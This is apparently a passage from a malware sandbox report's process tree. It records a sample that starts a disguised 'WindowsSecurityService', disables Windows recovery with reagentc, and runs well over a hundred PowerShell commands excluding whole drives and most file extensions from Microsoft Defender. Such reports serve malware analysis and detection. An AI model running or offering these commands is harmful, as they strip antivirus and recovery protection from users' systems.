  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:10380
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:10436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  PID:10468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  PID:10492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:10532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  PID:10556
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  PID:10580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  PID:10628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:10652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:10700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  PID:10724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  PID:10748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:10772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:10804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:10828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  PID:10852
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  PID:10868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  PID:10924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:10940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  PID:11016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:10968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:11056
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  PID:11072
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  PID:11104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  PID:11120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:11144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:11176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:11216
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  PID:11248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:11284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  PID:11332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  PID:11492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  PID:11496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  PID:11552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:11716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  PID:12196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  PID:12220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  PID:12252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  PID:12284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:12320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:12352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  PID:13108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:10992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:13280
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  PID:11620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  PID:11772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  PID:11776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:11832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  PID:11872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:14148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:14264
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  PID:10976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:14344
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  PID:14352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  PID:14360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:14368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:14376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:14384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:14392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:14400
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:14408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:14432
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  PID:14440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  PID:14480
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14512
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  PID:14536
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  PID:14544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  PID:14552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:14592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  PID:14600
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "14600" "1900" "1716" "1904" "0" "0" "1908" "0" "0" "0" "0" "0"
    3⤵
    PID:20232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:14624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  PID:14632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:14656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:14684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:14692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:14700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:14708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:14716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  PID:14732
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14740
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  PID:14748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  PID:14764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:14788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  PID:14796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:14804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:14812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:14820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:14828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  PID:14836
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  PID:14852
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:14932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:14940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:14952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:14972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:14980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  PID:14988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:14996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  PID:15004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  PID:15012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  PID:15020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:15028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:15036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:15044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:15052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:15060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:15068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  PID:15076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:15084
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:15092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  PID:15100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  PID:15112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:15124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:15132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  PID:15140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:15148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:15156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  PID:15164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
